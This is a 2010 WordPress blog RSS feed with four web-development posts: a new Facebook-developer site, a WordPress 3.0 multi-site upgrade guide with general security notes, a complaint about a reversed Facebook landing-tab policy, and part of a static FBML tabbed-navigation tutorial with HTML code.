<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Snipe.Net &#187; Web Development</title>
	<atom:link href="http://www.snipe.net/topics/web-development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.snipe.net</link>
	<description>Bitterness never tasted so sweet</description>
	<lastBuildDate>Thu, 29 Jul 2010 05:03:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Introducing FBMHell.Com</title>
		<link>http://www.snipe.net/2010/07/introducing-fbmhell-com/</link>
		<comments>http://www.snipe.net/2010/07/introducing-fbmhell-com/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 00:09:32 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook application development]]></category>
		<category><![CDATA[facebook applications]]></category>
		<category><![CDATA[fbml]]></category>
		<category><![CDATA[static fbml]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3161</guid>
		<description><![CDATA[Good news, everyone! My compulsive need to make websites and write content has struck again, this time resulting in my new site, FBMHell.Com, which I hope will evolve into a great resource for Facebook developers, whether you&#8217;re an app developer or fan page designer. It&#8217;s literally just been launched, so I&#8217;m looking for your help. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F07%2Fintroducing-fbmhell-com%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F07%2Fintroducing-fbmhell-com%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Good news, everyone! My compulsive need to make websites and write content has struck again, this time resulting in my new site, <a href="http://fbmhell.com">FBMHell.Com</a>, which I hope will evolve into a great resource for Facebook developers, whether you&#8217;re an app developer or fan page designer.</p>
<p><span id="more-3161"></span>It&#8217;s literally just been launched, so I&#8217;m looking for your help. I&#8217;ll be going through some older posts and rounding up the questions that seem to come up often and writing up answers for the new site, but if there&#8217;s a burning question you&#8217;ve had for a while and haven&#8217;t been able to find an answer for, let me know in the comments.</p>
<p><a href="http://fbmhell.com"><img class="aligncenter size-large wp-image-3162" title="fbmhell" src="http://www.snipe.net/wp-content/uploads/2010/07/fbmhell-560x500.png" alt="" width="560" height="500" /></a></p>
<p>One that comes up often is whether or not you can include an IFRAME in a tab, so don&#8217;t ask that one <img src='http://www.snipe.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  It&#8217;s already on deck.</p>
<p>I&#8217;m looking for all kinds of questions, ranging from the complicated to the more basic, so don&#8217;t be afraid to ask. More complicated tutorials (similar to what I&#8217;ve posted in the past regarding app development and complex mini-sites on tabs) will take a little longer, so be patient, and remember to <a href="http://feeds.feedburner.com/snipe/fbmhell">subscribe to the RSS feed</a> so you&#8217;ll get all the latest posts.</p>
<p>Categories will be added as content demands, of course.</p>
<p>I really want this site to be a great resource for everyone (including myself, as a repository of stuff I know works), so I&#8217;m looking forward to your feedback!</p>
<p>Also keep your eyes peeled for the launch of <a href="http://fbmlwizard.com">FBMLWizard</a>, a drag+drop Facebook fan page tab builder.  I&#8217;ll update you here when it&#8217;s ready.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2008/09/introducing-tehawesomenet/' rel='bookmark' title='Permanent Link: Introducing TehAwesome.Net'>Introducing TehAwesome.Net</a> <small>While Snipe.Net covers lots of tech topics and reviews, I&#8217;ve...</small></li>
<li><a href='http://www.snipe.net/2010/05/facebook-fan-pages-10k/' rel='bookmark' title='Permanent Link: Want to Set a Default Landing Tab on Your Facebook Fan Page? It&#8217;ll Cost You'>Want to Set a Default Landing Tab on Your Facebook Fan Page? It&#8217;ll Cost You</a> <small>You&#8217;re gonna love this. And by love I mean be...</small></li>
<li><a href='http://www.snipe.net/2009/10/mini-site-facebook-static-fbml/' rel='bookmark' title='Permanent Link: Extending Facebook Static FBML Tabs with Dynamic Content'>Extending Facebook Static FBML Tabs with Dynamic Content</a> <small>This tutorial walks you through how to use DynamicFBML to...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/07/introducing-fbmhell-com/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Upgrading to WordPress 3.0 and Adding Multi-Site</title>
		<link>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/</link>
		<comments>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 06:09:49 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[PHP/mySQL]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wpmu]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3071</guid>
		<description><![CDATA[WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you&#8217;re in for if you choose to do [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F06%2Fupgrading-to-wordpress-3%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F06%2Fupgrading-to-wordpress-3%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you&#8217;re in for if you choose to do the same.<br />
<span id="more-3071"></span><br />
Previously, if you wanted to run multiple sites from one core installation of WordPress, you would install <a href="http://mu.wordpress.org/">WPMU</a>. </p>
<p>I had tossed that idea around a lot over the past year, since I run several websites that run on WordPress, but I had heard from enough people who ran into plugin/MU conflict issues that made things go &#8216;splody &#8216;splody that I opted not to. So instead, every time a new version of WordPress came out, I&#8217;d end up upgrading around 20 installs. Blech.</p>
<p>With version 3.0 of WordPress, the ability to create multiple sites using one install of WordPress is built right into the core, so no need to fool around with WPMU. The temptation was too great this time, so I decided to give it a whack. It was not what I would call a smooth process, but it wasn&#8217;t terrible either.</p>
<blockquote><p><strong>STOP: </strong>If you are already running WPMU and you just want to figure out how to upgrade your existing WPMU sites to WordPress 3.0, you&#8217;re reading the wrong article.  <a href="http://developersmind.com/2010/06/17/upgrading-wordpress-mu-2-9-2-to-wordpress-3-0/">Try this one instead</a>.</p></blockquote>
<h3>Goals</h3>
<p>What I wanted to get out of this was to have one main core install, but run multiple sites on their own domains that all pulled from that main core, so upgrading to later versions would mean upgrading one core instead of a dozen or two.  These properties remaining at their current separate domain names (such as www.crankyhaiku.com, www.geekhaiku.com etc) was critical, both because of search engine optimization and for branding reasons.</p>
<h3>Upgrading</h3>
<p>The normal upgrade part was flawless, as WordPress upgrades tend to be these days. Automatic upgrade has never quite worked for me, so I always do a manual upgrade. It takes longer to upload the files, but it&#8217;s a pretty painless process. So to upgrade to 3.0, I did the usual: </p>
<ul>
<li>backup (which I didn&#8217;t actually have to do, since I automatically backup to the Amazon Cloud every night using <a href="http://www.webdesigncompany.net/automatic-wordpress-backup/">Automatic WordPress Plugin</a>) but I&#8217;m paranoid</li>
<li>delete the wp-admin directory</li>
<li> delete the wp-includes directory</li>
<li>upload everything in the WordPress package &#8211; except for wp-content &#8211; to the web root</li>
<li>hit the upgrade script to trigger the database updates</li>
</ul>
<p>Flawless, as usual. Not so much as a hiccup. Now came the trickier part &#8211; adding the &#8220;Network&#8221; functionality previously available in WPMU to start to consolidate sites.</p>
<h3>Creating a Multi-Site Network</h3>
<p>I can&#8217;t speak for how easy or difficult this normally was with WPMU, so unfortunately I can&#8217;t tell you how this process compares to a normal WPMU setup. It wasn&#8217;t awful, but it was definitely buggy.</p>
<p>The WordPress documentation on <a href="http://codex.wordpress.org/Create_A_Network">Creating a Network</a> walks through the basics well enough, so I suggest you start there so you know what to expect.</p>
<p><strong>Note: You will not be able to go through the wizard in your WordPress admin until you deactivate ALL of your plugins. You can obviously re-enable them later, but I found that many of them did not keep their original settings.</strong> </p>
<p>I suspect this might be because I chose &#8220;network activate&#8221; instead of just plain &#8220;activate&#8221;. I had wanted to make those plugins available for all sites in the network, and didn&#8217;t realize that it would wipe out my existing snipe.net settings when I did so. Oh well. (Incidentally, that explains why you might see some weird stuff on the site until I have a chance to go through everything one by one. Double &#8220;related posts&#8221; bits at the end of the articles, Apture wasn&#8217;t working, etc.) All of the settings are fixable, but it may take you a little time to figure out what&#8217;s been lost, and what you have to do to set it back to the way it was before.</p>
<h4>Editing Your wp-config.php</h4>
<p>Beyond the setup in your WordPress admin, you&#8217;ll need to make a few changes to your wp-config.php file and your htaccess file. I hadn&#8217;t updated my wp-config for several versions, so I decided to use the wp-config-sample.php file and just pull my existing database variables over. Whether you use your old wp-config.php or start fresh with the stock WordPress sample, you&#8217;ll need to add the following to your wp-config.php, just <em>above</em> the comment that says &#8220;/* That&#8217;s all, stop editing! Happy blogging. */&#8221;</p>
<p><code>define( 'MULTISITE', true );<br />
define( 'SUBDOMAIN_INSTALL', true );<br />
$base = '/';<br />
define( 'DOMAIN_CURRENT_SITE', 'www.yoursite.com' );<br />
define( 'PATH_CURRENT_SITE', '/' );<br />
define( 'SITE_ID_CURRENT_SITE', 1 );<br />
define( 'BLOG_ID_CURRENT_SITE', 1 );</code></p>
<p>If you followed my suggestion and read the <a href="http://codex.wordpress.org/Create_A_Network">WordPress documentation on creating a network</a> (you did read that, right?), you&#8217;ll see that you have two choices for how your network will be set up: sub-domain (blah1.yourdomain.com, blah2.yourdomain.com) or directory-based (yourdomain.com/blah1, yourdomain.com/blah2). Make sure you think this one through before you get started, since there doesn&#8217;t seem to be an easy way to switch between the two.</p>
<p>As I mentioned, I didn&#8217;t want my sites to live at subdomain.snipe.net, or snipe.net/blogname &#8211; I wanted them to live at their own urls. I also didn&#8217;t want a bunch of crap littering up my document root. The easiest way to do this on Rackspace Cloud Sites is through a combination of setting up a site alias, and using mod_rewrite to handle domains:</p>
<ul>
<li>Set up a <a href="http://help.rackspacecloud.com/article.php?id=077">domain alias</a>, like secondblog.com, and point it to originalblog.com</li>
<li>Modify the mod_rewrite rules in your htaccess access file </li>
<li>In your site preferences, point the blog url to the aliased domain name </li>
</ul>
<p>If you&#8217;re not on Rackspace Cloud Sites, you can just follow the directions in the WordPress documentation.</p>
<h4>Tweaking Your .htaccess</h4>
<p>You&#8217;ll need to make sure the bit below is in your htaccess file &#8211; but your WordPress Network Setup wizard will point that out to you anyway <img src='http://www.snipe.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><code>RewriteCond %{REQUEST_FILENAME} -f [OR]<br />
RewriteCond %{REQUEST_FILENAME} -d<br />
RewriteRule ^ - [L]<br />
RewriteRule . index.php [L]</code></p>
<p>One thing to look out for besides having to reset your plugin preferences: when I created my Network, setting this site as the default, it automatically tried to set the url as snipe.net/blog. I&#8217;m not sure why it did this, and I&#8217;m certain I didn&#8217;t add it anywhere, but when I committed the changeover to Network, all of my urls were broken (since snipe.net/blog/ doesn&#8217;t exist). It was a quick change that you can handle via the Settings menu, but watch out for it and be sure to test your links once you&#8217;ve made the switch. </p>
<h3>Importing Blogs</h3>
<p>Now that you&#8217;ve got a Network set up, you have actually add them to the Network so that they&#8217;re using the same core. I expected this to be a much bigger pain in the ass than it ended up being. All I had to do was go to the original admin, go to TOOLS > EXPORT and download the XML file. Then go into my WordPress 3.0 admin, select the site I wanted to admin, and go to TOOLS > IMPORT > WORDPRESS, and upload the XML file. Worked perfectly, so far as I can tell.</p>
<h3>Security Notes</h3>
<p>Consolidating all of your WordPress sites into one multi-site install has many benefits, the most obvious one being that it&#8217;s easier to maintain one core install than updating every single instance of WordPress you run. That said, you may want to consider a few things:</p>
<p>While one install is probably more &#8220;secure&#8221; than multi-installs in the real world simply because you&#8217;re more likely to keep one site updated than dozens, there are a few things to consider.</p>
<p>If you run multiple WordPress blogs under the same user (the same account, in Rackspace Cloud Sites), all of the files are owned by the same linux user and group. This means that if one of your WordPress installs ends up compromised, either because you forgot to upgrade one of them, or because of a <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">vulnerability in your hosting company</a>, once an attacker has access to one of your blog installs, they have access to any other files owned by that user. Which means all of your other blogs, even the ones that are running current WordPress versions.</p>
<p>Along this same line of thought, if you&#8217;re running multiple WordPress installs under different users and you end up consolidating them to take advantage of the multi-site functionality, do so understanding that in this scenario, all of your blogs will be owned by the same user/group in the same webspace, so one vulnerability could easily turn into a much bigger problem. </p>
<p>Conversely, <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">tracking down backdoors and maliciously modified files</a> could potentially be easier, since you have fewer installs to search through.</p>
<p>WordPress has been much better about quickly patching holes, and being proactive about finding vulnerabilities. If your site ends up getting hacked, these days it&#8217;s more likely to be a vulnerable plugin, an outdated install you forgot all about, or a PC virus that added your FTP login to a botnet &#8211; not the core WordPress install itself. I say this with a certain amount of confidence, since I have restored <em>at least</em> two-dozen hacked WordPress sites (not mine) since the beginning of the year, and have therefore spent countless hours investigating the attack, identifying the vector, and writing up summaries to post to <a href="http://badwarebusters.org/">badwarebusters.org</a> in an effort to help other people facing the same hack.</p>
<p>To be clear, running a multi-site install isn&#8217;t any riskier than running multiple blogs under the same user. But if you&#8217;re currently running your blogs under different users, you should at least be aware of how that could potentially impact you. </p>
<h3>Final Thoughts</h3>
<p>My thought is that it might have been smarter to install WPMU, and then upgrade to 3.0, since the upgrade process for a WPMU setup to 3.0 seems like it was a little less wonky, but I don&#8217;t really know.</p>
<p>I&#8217;ve really only just started playing with this during the fragment of free time I had today (work has been brutal for the past month or so). So far, pulling the theme in has been as simple as downloading them from their respective old WordPress installs and uploading them to the new 3.0 themes directory and activating them so that they&#8217;re available to the rest of the sites in the network. </p>
<p>And certainly, if you&#8217;ve found an easier way to get this done, please let me know in the comments. <img src='http://www.snipe.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/06/upgrading-to-wordpress-3/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Want to Set a Default Landing Tab on Your Facebook Fan Page? It&#8217;ll Cost You</title>
		<link>http://www.snipe.net/2010/05/facebook-fan-pages-10k/</link>
		<comments>http://www.snipe.net/2010/05/facebook-fan-pages-10k/#comments</comments>
		<pubDate>Thu, 20 May 2010 02:25:00 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook application development]]></category>
		<category><![CDATA[facebook applications]]></category>
		<category><![CDATA[facebook fan page]]></category>
		<category><![CDATA[facebook fan pages]]></category>
		<category><![CDATA[fbml]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3057</guid>
		<description><![CDATA[You&#8217;re gonna love this. And by love I mean be filled with rage. I started receiving emails from people today, frustrated that they could no longer set a specific tab as their default landing tab in Facebook. Everyone assumed it was a bug. It&#8217;s not. UPDATE May 20, 10:45AM: Facebook has actually apologized and done [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F05%2Ffacebook-fan-pages-10k%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F05%2Ffacebook-fan-pages-10k%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>You&#8217;re gonna love this. And by love I mean be filled with rage. I started receiving emails from people today, frustrated that they could no longer set a specific tab as their default landing tab in Facebook. Everyone assumed it was a bug. It&#8217;s not.</p>
<p><span id="more-3057"></span><br />
<strong>UPDATE May 20, 10:45AM:</strong> Facebook has actually apologized and done a complete 180 in the last 12 hours and they have reversed this decision. <strong>I&#8217;m leaving the original post up for reference, but as of right now, they have reverted back to the original way it worked, where any page admin can set default tabs, regardless of the size of their fan base.</strong></p>
<p>From <a href="http://forum.developers.facebook.com/viewtopic.php?pid=228104#p228104">their developer forums</a>:</p>
<blockquote><p>
As of last night, we&#8217;ve removed the recently-added authentication requirement for setting custom landing tabs on Pages. The requirement was instituted as part of a Pages quality initiative, and we apologize for the inconvenience this caused to our developer and business community. We are re-investigating the situation, and will not make any further changes without first giving our community standard notice and lead-time.</p>
<p>Thanks for all your feedback,<br />
Matt Trainer</p></blockquote>
<hr />
<strong>Original Post: </strong><br />
According to <a href="http://forum.developers.facebook.com/viewtopic.php?id=58864&#038;p=1">this post on the Facebook Developer forums</a>, Facebook has struck yet another critical blow to smaller companies who are trying to use the Facebook platform to grow their business without a lot of startup capital.  The thread had started by someone asking why they could no longer edit the Facebook Fan Page settings to specify which application tab they wanted to set as the default landing page.</p>
<p>The Facebook platform is known for being exceptionally buggy, so most &#8220;me too&#8221;ers assumed it was a bug and patiently awaited a bug fix confirmation from Facebook. The question went unanswered for a day, until finally a Facebook employee <a href="http://forum.developers.facebook.com/viewtopic.php?pid=227722#p227722">dropped this bombshell</a>.</p>
<blockquote><p>Hello all,</p>
<p>We apologize for not messaging this earlier. Facebook recently made a change requiring that Pages be authenticated before enabling the ability to set a landing tab beyond Wall or Info. To be eligible for authentication, a Page must have greater than 10k fans or the Page admin must work with their ads account manager. If you are already working with an account representative, please contact that representative to begin the authentication process. If you do not work with an account representative, you can use this contact form to inquire about working with an account representative.</p>
<p>Also, for advertisers who don’t have a representative or 10k fans, and want to run ads and land users on a specific tab, you can still do so with standard Facebook ads by making their Destination URL as the URL incl. your tab.  Unfortunately, this currently will not work with &#8220;Fan&#8221; ads.</p>
<p>Thanks,<br />
Matt Trainer</p></blockquote>
<p><strong>What this means is that Facebook Fan Page admins can no longer specify a default landing tab for their fan page UNLESS they have 10k or more fans, OR they &#8220;have an account manager&#8221;. </strong>Having an account manager sounds great, right? The thing is, you have to spend at least $10k in Facebook advertising before they&#8217;ll even talk to you, let alone give you an account manager. That contact form leads to the &#8220;how much money are you willing to spend with us&#8221; form, and if your answer is less than $10k, don&#8217;t expect them to help you.</p>
<p>So once again, the little guy gets screwed. It started in November with their <a href="http://www.dailyglobal.com/2009/11/facebook-contest-is-no-longer-free/">charges to their contest/promotional guidelines</a>, which were also rolled out quietly with little or no notification to developers or users, which dictated something very similar. Certain types of promotions now have to be approved by an account manager. Only you don&#8217;t get an account manager unless you spend upwards of $10k in media buys. </p>
<p>Note that it appears as though this is only effective moving forward.<strong> If you&#8217;ve already set a default tab on your Facebook Fan page, they&#8217;re not going to take it away from you.</strong> At least not at this point. But as of yesterday, if you hadn&#8217;t already set a default tab, you won&#8217;t be able to do so without meeting one of the 10k requirements mentioned above.</p>
<p>I&#8217;m not even going to talk about the recent Facebook privacy issues. This isn&#8217;t the post for it, and honestly, I don&#8217;t have the energy to open that gigantic can of worms right now. But with those recent changes on top of <em>this</em>, I have to ask WTF they are thinking over there. Fuck you, Facebook.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/06/fb-fanpages-fbml-box/' rel='bookmark' title='Permanent Link: Static FBML: Not Every Facebook Fan Page Needs An Application'>Static FBML: Not Every Facebook Fan Page Needs An Application</a> <small>You don&#8217;t always need a custom application for your Facebook...</small></li>
<li><a href='http://www.snipe.net/2002/06/google-style-page-numbering-with-x-per-page-and-y-page-numbers-displayed/' rel='bookmark' title='Permanent Link: Google Style Page Numbering (with x per page and y page numbers displayed)'>Google Style Page Numbering (with x per page and y page numbers displayed)</a> <small>With just a few modifications, we can create a piece...</small></li>
<li><a href='http://www.snipe.net/2010/01/facebook-lite-default/' rel='bookmark' title='Permanent Link: Unclutter Your Facebook Feed: Set FB Lite As Your Default'>Unclutter Your Facebook Feed: Set FB Lite As Your Default</a> <small>Whether you&#8217;re on Facebook for fun or for work, chances...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/05/facebook-fan-pages-10k/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Taking Your Static FBML Microsite to the Next Level</title>
		<link>http://www.snipe.net/2010/05/static-fbml-microsite-next-level/</link>
		<comments>http://www.snipe.net/2010/05/static-fbml-microsite-next-level/#comments</comments>
		<pubDate>Wed, 19 May 2010 09:18:08 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[clicktohide]]></category>
		<category><![CDATA[clicktoshow]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook fan page]]></category>
		<category><![CDATA[fbjs]]></category>
		<category><![CDATA[fbml]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=3041</guid>
		<description><![CDATA[In a previous tutorial, you learned how to Extend Facebook Static FBML Tabs with Dynamic Content, and now we&#8217;re back to show you how to take it even further by creating sub-nav tab navigation within your Static FBML microsite using only DynamicFBML. The previous tutorial, I walked you through how to use clicktohide and clicktoshow [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F05%2Fstatic-fbml-microsite-next-level%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F05%2Fstatic-fbml-microsite-next-level%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>In a previous tutorial, you learned how to <a href="http://www.snipe.net/2009/10/mini-site-facebook-static-fbml/" target="_self">Extend Facebook Static FBML Tabs with Dynamic Content</a>, and now we&#8217;re back to show you how to take it even further by creating sub-nav tab navigation within your Static FBML microsite using only DynamicFBML.</p>
<p><span id="more-3041"></span></p>
<p>The <a href="http://www.snipe.net/2009/10/mini-site-facebook-static-fbml/" target="_self">previous tutorial</a>, I walked you through how to use clicktohide and clicktoshow to enhance your Facebook Fan Page tab. By utilizing these built-in Facebook functions, we can get creative and make image galleries, slide shows, or micro-sites within a single Facebook Fan Page tab. This is especially handy if you&#8217;re trying to fit a lot of content into a single tab, but don&#8217;t want to have one long scrolling mess of a tab. While hand-written FBJS is always an option, Facebook makes it really easy to accomplish this with only the most basic coding skills. </p>
<p>(That said, if you haven&#8217;t read the first tutorial, it will probably be helpful for you to read that one first before continuing with this one &#8211; I assume you understand the concept of clicktohide and clicktoshow here.)</p>
<p>So what you&#8217;ll end up with is a single Facebook Fan Page tab that has a &#8220;main&#8221; navigation that switches content within that single tab, and an additional subnavigation menu that switches content within that one section of the tabbed content. It sounds more confusing than it actually is &#8211; <strong><a href="http://www.facebook.com/pages/SnipeNet/116633947708?v=app_17037175766" target="_blank">click here for a demo</a></strong>.</p>
<p>This is what we created in the previous tutorial:</p>
<p><img src="http://www.snipe.net/wp-content/uploads/2009/10/snipe_tab-560x295.jpg" class="aligncenter size-large wp-image-3042" /></p>
<p>And this is what we&#8217;re going to create in this one:</p>
<p><img src="http://www.snipe.net/wp-content/uploads/2010/05/snipenet-demo-560x290.png" alt="" title="snipenet-demo" width="560" height="290" class="aligncenter size-large wp-image-3042" /></p>
<p>Similar to the example in the first tutorial, we&#8217;re going to do all of this magic simply by using CSS, HTML and the <em>clicktohide</em> and <em>clicktoshow</em> functions. In fact, what we&#8217;re doing here isn&#8217;t that different at all from what we did the first time, but I get a metric-assload of emails asking me how to to it, so here it is. </p>
<pre class="brush: html">&lt;!-- Now set the main tab navigation --&gt;
&lt;a href=&quot;#&quot; clicktoshow=&quot;nav1&quot; clicktohide=&quot;nav2,nav3&quot;&gt;Home&lt;/a&gt;
&lt;a href=&quot;#&quot; clicktoshow=&quot;nav2&quot; clicktohide=&quot;nav1,nav3&quot;&gt;Demo Tab&lt;/a&gt;
&lt;a href=&quot;#&quot; clicktoshow=&quot;nav3&quot; clicktohide=&quot;nav1,nav2&quot;&gt;Locations&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;

&lt;!-- start the div for the first main nav tab - nav1 --&gt;
&lt;div id=&quot;nav1&quot;&gt;
	&lt;p&gt;Home content&lt;/p&gt;
&lt;/div&gt;
&lt;!-- end the div for the first main nav tab - nav1 --&gt;

&lt;!-- start the div for the second main nav tab - nav2 --&gt;
&lt;div id=&quot;nav2&quot; style=&quot;display: none;&quot;&gt;
	&lt;h1&gt;Example Tabbed Subnav in Microsite&lt;/h1&gt;
	&lt;hr /&gt;
	&lt;a href=&quot;#&quot; clicktoshow=&quot;tab2subnav1&quot; clicktohide=&quot;tab2subnav2,tab2subnav3&quot;&gt;Subnav One&lt;/a&gt;
	&lt;a href=&quot;#&quot; clicktoshow=&quot;tab2subnav2&quot; clicktohide=&quot;tab2subnav1,tab2subnav3&quot;&gt;Subnav Two&lt;/a&gt;
	&lt;a href=&quot;#&quot; clicktoshow=&quot;tab2subnav3&quot; clicktohide=&quot;tab2subnav1,tab2subnav2&quot;&gt;Subnav Three&lt;/a&gt;
	&lt;hr /&gt;
	&lt;br /&gt;

	&lt;!-- start the div for the first subnav tab - tab2subnav1 --&gt;
	&lt;div id=&quot;tab2subnav1&quot;&gt;
		&lt;p&gt;Subnav one content&lt;/p&gt;
	&lt;/div&gt;
	&lt;!-- end the div for the first subnav tab - tab2subnav1 --&gt;

	&lt;!-- start the div for the second subnav tab - tab2subnav2 --&gt;
	&lt;div id=&quot;tab2subnav2&quot; style=&quot;display: none;&quot;&gt;
		&lt;p&gt;Subnav two content&lt;/p&gt;
	&lt;/div&gt;
	&lt;!-- end the div for the second subnav tab - tab2subnav2 --&gt;

	&lt;!-- start the div for the third subnav tab - tab2subnav3 --&gt;
	&lt;div id=&quot;tab2subnav3&quot; style=&quot;display: none;&quot;&gt;
		&lt;p&gt;Subnav three content&lt;/p&gt;
	&lt;/div&gt;
	&lt;!-- end the div for the third subnav tab - tab2subnav3 --&gt;
&lt;/div&gt;
&lt;!-- end the div for the second main nav tab - nav2 --&gt;

&lt;!-- start the div for the third main nav tab - nav3 --&gt;
&lt;div id=&quot;nav3&quot; style=&quot;display: none;&quot;&gt;
	&lt;h1&gt;Locations&lt;/h1&gt;
	&lt;p&gt;Locations content&lt;/p&gt;
&lt;/div&gt;
&lt;!-- end the div for the third main nav tab - nav3 --&gt;</pre>
<p>And that&#8217;s it. That&#8217;s the whole code snippet. For clarity, I have stripped out all of the extra styling, text and fancy button treatments. If you want the exact code used for the demo, scroll down further in the page &#8211; I&#8217;ve included that as well.</p>
<p>I&#8217;ve commented the code pretty liberally, but just to recap what we&#8217;ve done, we created the normal main microsite divs, nav1, nav2, and nav3. These are the &#8220;buckets&#8221; that contain the top-level &#8220;tabs&#8221;, same as we did in the first tutorial. What we&#8217;ve added is a second, smaller set of buckets and corresponding nav. We use the exact same method of clicktohide and clicktoshow &#8211; the only different is what we&#8217;ve name the smaller bucket divs, and where they live. The div structure works out to be something like this:</p>
<blockquote><p><strong>[nav1 div]</strong><br />
&#8211; nav 1 content<br />
[/nav1 div]</p>
<p><strong>[nav 2 div]</strong><br />
&#8211; [subnav 1 div]<br />
&#8211; subnav 1 content<br />
&#8211; [/subnav 1 div]</p>
<p>&#8211; [subnav 2 div]<br />
&#8211; subnav 2 content<br />
&#8211; [/subnav 2 div]</p>
<p>&#8211; [subnav 3 div]<br />
&#8211; subnav 3 content<br />
&#8211; [/subnav 3 div]</p>
<p><strong>[nav3 div]</strong><br />
&#8211; nav 3 content<br />
[/nav3 div]</p></blockquote>
